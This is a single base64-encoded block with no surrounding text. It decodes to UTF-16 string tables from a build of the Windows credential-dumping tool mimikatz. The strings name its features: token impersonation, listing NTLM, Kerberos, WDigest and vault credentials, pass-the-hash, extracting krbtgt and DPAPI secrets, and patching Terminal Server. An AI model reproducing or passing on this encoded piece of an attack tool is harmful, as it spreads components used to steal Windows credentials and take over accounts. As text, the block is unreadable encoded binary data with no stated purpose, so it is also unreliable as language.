AIAAgACAAIAAoACAAKAAKACAAIAAgACAAIAApACAAKQAKACAAIAAuAF8AXwBfAF8AXwBfAC4ACgAgACAAfAAgACAAIAAgACAAIAB8AF0ACgAgACAAXAAgACAAIAAgACAAIAAvAAoAIAAgACAAYAAtAC0ALQAtACcACgAAAAAAUwBsAGUAZQBwACAAOgAgACUAdQAgAG0AcwAuAC4ALgAgAAAAAAAAAEUAbgBkACAAIQAKAAAAAABtAGkAbQBpAGsAYQB0AHoALgBsAG8AZwAAAAAAAAAAAFUAcwBpAG4AZwAgACcAJQBzACcAIABmAG8AcgAgAGwAbwBnAGYAaQBsAGUAIAA6ACAAJQBzAAoAAAAAAAAAAAB0AHIAdQBlAAAAAAAAAAAAZgBhAGwAcwBlAAAAAAAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdAAgAHcAYQBzACAAIAAgACAAOgAgACUAcwAKAAAAAABpAHMAQgBhAHMAZQA2ADQASQBuAHQAZQByAGMAZQBwAHQAIABpAHMAIABuAG8AdwAgADoAIAAlAHMACgAAAAAANgA0AAAAAAAKAG0AaQBtAGkAawBhAHQAegAgADIALgAwACAAYQBsAHAAaABhACAAKABhAHIAYwBoACAAeAA2ADQAKQAKAFcAaQBuAGQAbwB3AHMAIABOAFQAIAAlAHUALgAlAHUAIABiAHUAaQBsAGQAIAAlAHUAIAAoAGEAcgBjAGgAIAB4ACUAcwApAAoAbQBzAHYAYwAgACUAdQAgACUAdQAKAAAAQwB1AHIAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AYwBkACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAE4AZQB3ADoAIAAlAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAUwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAUwBvAHIAcgB5ACAAeQBvAHUAIABnAHUAeQBzACAAZABvAG4AJwB0ACAAZwBlAHQAIABpAHQALgAKAAAAAAAAAHcAaABvAGEAbQBpAAAAAABEAGkAcwBwAGwAYQB5ACAAYwB1AHIAcgBlAG4AdAAgAGkAZABlAG4AdABpAHQAeQAAAAAAAAAAAEwAaQBzAHQAIABhAGwAbAAgAHQAbwBrAGUAbgBzACAAbwBmACAAdABoAGUAIABzAHkAcwB0AGUAbQAAAAAAAABlAGwAZQB2AGEAdABlAAAASQBtAHAAZQByAHMAbwBuAGEAdABlACAAYQAgAHQAbwBrAGUAbgAAAHIAZQB2AGUAcgB0AAAAAABSAGUAdgBlAHIAdAAgAHQAbwAgAHAAcgBvAGMAZQBzACAAdABvAGsAZQBuAAAAAAB0AG8AawBlAG4AAAAAAAAAVABvAGsAZQBuACAAbQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABtAG8AZAB1AGwAZQAAAAAAAAAgACoAIABQAHIAbwBjAGUAcwBzACAAVABvAGsAZQBuACAAOgAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAqACAAVABoAHIAZQBhAGQAIABUAG8AawBlAG4AIAAgADoAIAAAAG4AbwAgAHQAbwBrAGUAbgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AdwBoAG8AYQBtAGkAIAA7ACAATwBwAGUAbgBUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABkAG8AbQBhAGkAbgBhAGQAbQBpAG4AAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBsAG8AYwBhAGwAXwBkAG8AbQBhAGkAbgBfAHUAcwBlAHIAXwBnAGUAdABDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAATgBvACAAdQBzAGUAcgBuAGEAbQBlACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGgAZQBuACAAUwBZAFMAVABFAE0ACgAAAFQAbwBrAGUAbgAgAEkAZAAgACAAOgAgACUAdQAKAFUAcwBlAHIAIABuAGEAbQBlACAAOgAgACUAcwAKAFMASQBEACAAbgBhAG0AZQAgACAAOgAgAAAAAAAlAHMAXAAlAHMACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQATgBhAG0AZQBEAG8AbQBhAGkAbgBGAHIAbwBtAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBsAG8AYwBhAGwAXwBkAG8AbQBhAGkAbgBfAHUAcwBlAHIAXwBDAHIAZQBhAHQAZQBXAGUAbABsAEsAbgBvAHcAbgBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AcgBlAHYAZQByAHQAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABBAG4AbwBuAHkAbQBvAHUAcwAAAAAAAABJAGQAZQBuAHQAaQBmAGkAYwBhAHQAaQBvAG4AAAAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AAAAAAAAARABlAGw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AYQB1AGwAdABHAGUAdABJAHQAZQBtADcAIAA6ACAAJQAwADgAeAAAAAAACQAJAFAAYQBjAGsAYQBnAGUAUwBpAGQAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABHAGUAdABJAHQAZQBtADgAIAA6ACAAJQAwADgAeAAAAAAACgAJAAkAKgAqACoAIAAlAHMAIAAqACoAKgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEUAbgB1AG0AZQByAGEAdABlAFYAYQB1AGwAdABzACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAJAAkAVQBzAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlAHMAXAAlAHMAAAAAAAAAAAAAAAAAAABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AXABMAG8AZwBvAG4AVQBJAFwAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAAAAAAAAAAABiAGcAUABhAHQAaAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADIAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAxACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBJAEQAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABDAG8AbgB2AGUAcgB0AFMAaQBkAFQAbwBTAHQAcgBpAG4AZwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAJAAkAUABhAHMAcwB3AG8AcgBkACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkAUABJAE4AIABDAG8AZABlACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADQAaAB1AAoAAAAAAAkACQBCAGEAYwBrAGcAcgBvAHUAbgBkACAAcABhAHQAaAAgADoAIAAlAHMACgAAAAAAAAAAAAAACQAJAFAAaQBjAHQAdQByAGUAIABwAGEAcwBzAHcAbwByAGQAIAAoAGcAcgBpAGQAIABpAHMAIAAxADUAMAAqADEAMAAwACkACgAAAAAAAAAJAAkAIABbACUAdQBdACAAAAAAAAAAAABwAG8AaQBuAHQAIAAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAAAAAAGMAbABvAGMAawB3AGkAcwBlAAAAAAAAAGEAbgB0AGkAYwBsAG8AYwBrAHcAaQBzAGUAAAAAAAAAAAAAAAAAAABjAGkAcgBjAGwAZQAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACAAOwAgAHIAIAA9ACAAJQAzAHUAKQAgAC0AIAAlAHMAAAAAAAAAAAAAAAAAAABsAGkAbgBlACAAIAAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAIAAtAD4AIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApAAAAAAAAACUAdQAKAAAACQAJAFAAcgBvAHAAZQByAHQAeQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAuACoAcwBcAAAAAAAAACUALgAqAHMAAAAAAAAAAAB0AG8AZABvACAAPwAKAAAACQBOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAAAHQAZQBtAHAAIAB2AGEAdQBsAHQAAAAAAAkAUABhAHQAaAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAlAGgAdQAAACUAdQAAAAAAWwBUAHkAcABlACAAJQB1AF0AIAAAAAAAZwBlAG4AZQByAGkAYwAAAGQAbwBtAGEAaQBuAF8AcABhAHMAcwB3AG8AcgBkAAAAZABvAG0AYQBpAG4AXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAAAAAAGQAbwBtAGEAaQBuAF8AdgBpAHMAaQBiAGwAZQBfAHAAYQBzAHMAdwBvAHIAZAAAAGcAZQBuAGUAcgBpAGMAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAAABkAG8AbQBhAGkAbgBfAGUAeAB0AGUAbgBkAGUAZAAAAG4AbwBuAGUAAAAAAAAAAABzAGUAcwBzAGkAbwBuAAAAZQBuAHQAZQByAHAAcgBpAHMAZQAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAD8AIAAoAFAAZQByAHMAaQBzAHQAIAA+ACAAbQBhAHgAaQBtAHUAbQApAAAAAAAAAD8AIAAoAHQAeQBwAGUAIAA+ACAAQwBSAEUARABfAFQAWQBQAEUAXwBNAEEAWABJAE0AVQBNACkAAAAAAAAAAAA8AE4AVQBMAEwAPgAAAAAAAAAAAAAAAABUAGEAcgBnAGUAdABOAGEAbQBlACAAOgAgACUAcwAgAC8AIAAlAHMACgBVAHMAZQByAE4AYQBtAGUAIAAgACAAOgAgACUAcwAKAEMAbwBtAG0AZQBuAHQAIAAgACAAIAA6ACAAJQBzAAoAVAB5AHAAZQAgACAAIAAgACAAIAAgADoAIAAlAHUAIAAtACAAJQBzAAoAUABlAHIAcwBpAHMAdAAgACAAIAAgADoAIAAlAHUAIAAtACAAJQBzAAoARgBsAGEAZwBzACAAIAAgACAAIAAgADoAIAAlADAAOAB4AAoAQQB0AHQAcgBpAGIAdQB0AGUAcwAgADoACgAAAAAAQwByAGUAZABlAG4AdABpAGEAbAAgADoAIAAAAAAAAABpAG4AZgBvAHMAAAAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAAAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAbQBvAGQAdQBsAGUAAAAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAuAGUAeABlAAAARgBpAGUAbABkACAAOgAgACUAdQAgAHIAIAB4ACAAJQB1ACAAYwAKAE0AaQBuAGUAcwAgADoAIAAlAHUACgAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAEMAIAAoAFIAIAA9ACAAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBlAG0AbwByAHkAIABSAAoAAAAAACUAQwAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAQgBvAGEAcgBkACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBhAG0AZQAgAGMAbwBwAHkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwAgAGMAbwBwAHkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBsAG8AYgBhAGwAIABjAG8AcAB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAUwBlAGEAcgBjAGgAIABpAHMAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAATgBUACAASABlAGEAZABlAHIAcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGkAbgBlAHMAdwBlAGUAcABlAHIAIABQAEUAQgAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE4AbwAgAE0AaQBuAGUAUwB3AGUAZQBwAGUAcgAgAGkAbgAgAG0AZQBtAG8AcgB5ACEACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGUAbABlAG0AZQBuAHQAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAbgBjAGUAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABmAGkAcgBzAHQAIABlAGwAZQBtAGUAbgB0AAoAAAAAAAAAbABzAGEAcwByAHYAAAAAAExzYUlDYW5jZWxOb3RpZmljYXRpb24AAExzYUlSZWdpc3Rlck5vdGlmaWNhdGlvbgAAAAAAAAAAYgBjAHIAeQBwAHQAAAAAAEJDcnlwdE9wZW5BbGdvcml0aG1Qcm92aWRlcgAAAAAAQkNyeXB0U2V0UHJvcGVydHkAAAAAAAAAQkNyeXB0R2V0UHJvcGVydHkAAAAAAAAAQkNyeXB0R2VuZXJhdGVTeW1tZXRyaWNLZXkAAAAAAABCQ3J5cHRFbmNyeXB0AAAAQkNyeXB0RGVjcnlwdAAAAEJDcnlwdERlc3Ryb3lLZXkAAAAAAAAAAEJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIAAAAAMwBEAEUAUwAAAAAAAAAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAEMAQgBDAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAAAAAAAAAAABPAGIAagBlAGMAdABMAGUAbgBnAHQAaAAAAAAAAAAAAEEARQBTAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBGAEIAAABtAHMAdgAAAEwAaQBzAHQAcwAgAEwATQAgACYAIABOAFQATABNACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAdwBkAGkAZwBlAHMAdAAAAEwAaQBzAHQAcwAgAFcARABpAGcAZQBzAHQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAATABpAHMAdABzACAASwBlAHIAYgBlAHIAbwBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAB0AHMAcABrAGcAAAAAAAAATABpAHMAdABzACAAVABzAFAAawBnACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABpAHYAZQBzAHMAcAAAAEwAaQBzAHQAcwAgAEwAaQB2AGUAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAcwBzAHAAAABMAGkAcwB0AHMAIABTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAEwAaQBzAHQAcwAgAGEAbABsACAAYQB2AGEAaQBsAGEAYgBsAGUAIABwAHIAbwB2AGkAZABlAHIAcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAAAAAAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgACAAYwBvAG4AdABlAHgAdAAAAAAAAAAAAG0AaQBuAGkAZAB1AG0AcAAAAAAAAAAAAAAAAAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABtAGkAbgBpAGQAdQBtAHAAIABjAG8AbgB0AGUAeAB0AAAAAAAAAAAAcAB0AGgAAABQAGEAcwBzAC0AdABoAGUALQBoAGEAcwBoAAAAAAAAAGsAcgBiAHQAZwB0ACEAAABkAHAAYQBwAGkAcwB5AHMAdABlAG0AAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgAHMAZQBjAHIAZQB0AAAAQQBuAHQAaQBzAG8AYwBpAGEAbAAAAAAAUAByAGUAZgBlAHIAcgBlAGQAIABCAGEAYwBrAHUAcAAgAE0AYQBzAHQAZQByACAAawBlAHkAcwAAAAAAAAAAAHQAaQBjAGsAZQB0AHMAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAAdABpAGMAawBlAHQAcwAAAAAAAABlAGsAZQB5AHMAAAAAAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIABLAGUAeQBzAAAAAAAAAEwAaQBzAHQAIABDAGEAYwBoAGUAZAAgAE0AYQBzAHQAZQByAEsAZQB5AHMAAAAAAGMAcgBlAGQAbQBhAG4AAABMAGkAcwB0ACAAQwByAGUAZABlAG4AdABpAGEAbABzACAATQBhAG4AYQBnAGUA